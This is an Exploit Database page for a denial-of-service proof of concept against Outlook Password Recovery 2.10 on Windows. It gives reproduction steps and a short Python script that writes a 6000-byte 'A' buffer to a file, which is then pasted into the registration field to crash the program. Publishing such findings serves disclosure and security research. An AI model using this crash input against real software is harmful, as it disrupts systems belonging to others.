



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Outlook Password Recovery 2.10 - Denial of Service

EDB-ID:

47309

CVE:

N/A

EDB Verified: ✘

Author:

[VELAYUTHAM SELVARAJ, PRAVEEN
THIYAGARAYAM](#)

Type:

[DOS](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2019-08-28

Vulnerable App: 



 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPOIT MANUAL SUBMISSIONS ONLINE TRAINING

```
#Exploit Title: Outlook Password Recovery v2.10 Denial of Service Exploit
# Date: 16.08.2019
# Vendor Homepage:https://www.top-password.com/
# Software Link: https://www.top-password.com/outlook-password-
recovery.html
# Exploit Author: Velayutham Selvaraj & Praveen Thiyagarayam (TwinTech
Solutions)
# Tested Version: v2.10
# Tested on: Windows 7 x64
# Windows XP SP3
```

```
# 1.- Run python code :Outlook Password Recovery.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open OUTLOOK Password Recovery and Click 'EnterKey'
# 4.- Paste the content of EVIL.txt into the Field: 'User Name and
Registration Code'
# 5.- Click 'OK' and you will see a crash.
```

```
#!/usr/bin/env python
buffer = "\x41" * 6000

try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
```

Tags: [Denial of Service \(DoS\)](#),
[Buffer Overflow](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.